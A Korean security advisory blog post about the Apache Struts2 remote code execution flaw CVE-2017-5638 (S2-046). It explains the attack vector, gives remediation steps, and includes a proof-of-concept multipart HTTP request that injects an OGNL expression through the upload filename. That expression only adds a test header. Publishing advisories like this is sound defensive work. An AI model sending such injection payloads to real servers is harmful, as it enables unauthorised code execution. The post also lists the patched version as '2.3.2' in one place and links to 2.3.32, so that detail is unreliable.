포스팅 내용

국내외 보안동향

Apache Struts2 원격코드실행 취약점 주의!(CVE-2017-5638, S2-046)

Apache Struts2 원격코드실행 취약점 주의!(CVE-2017-5638, S2-046)


최근 S2-045 취약점과 유사한 원격코드실행 취약점이 또 다시 발견되었습니다. 


취약점 개요


악성 Content-Disposition값 혹은 부적절한 Content-Length 헤더를 이용하여 원격코드를 실행할 수 있는 취약점 입니다. 해당 취약점은 S2-045와 유사하지만, 사용하는 공격 벡터가 다릅니다. 


CVE 번호


CVE-2017-5638



PoC


POST /doUpload.action HTTP/1.1

Host: localhost:8080

Content-Length: 10000000

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z

Connection: close

------WebKitFormBoundaryAnmUgTEhFhOZpr9z

Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"

Content-Type: text/plain

Kaboom 

------WebKitFormBoundaryAnmUgTEhFhOZpr9z--



해결방법


1) Apache Struts 2.3.2 혹은 2.5.10.1로 업데이트

(▶참고 : Struts 2.3.32 업데이트Struts 2.5.10.1업데이트)


2) 만약 업데이트를 할 수 없는 상황 중 Apache Struts 2.3.8 – 2.5.5 혹은 2.3.20 – 2.5.5버전 사용자라면 새로개발된 플러그인 사용

(▶참고 : https://github.com/apache/struts-extras)


3) 만약 업데이트를 할 수 없는 상황 중 Struts 2.5.8 – 2.5.10 사용자라면 스택에서 File Upload Interceptor 삭제하고 스택을 정의하고 기본으로 설정한다.

(▶참고 : https://cwiki.apache.org/confluence/display/WW/How+do+we+configure+an+Interceptor+to+be+used+with+every+Action)




참고 :

https://cwiki.apache.org/confluence/display/WW/S2-045

https://cwiki.apache.org/confluence/display/WW/S2-046

https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#.WNAr_RLyvpR

티스토리 방명록 작성
name password homepage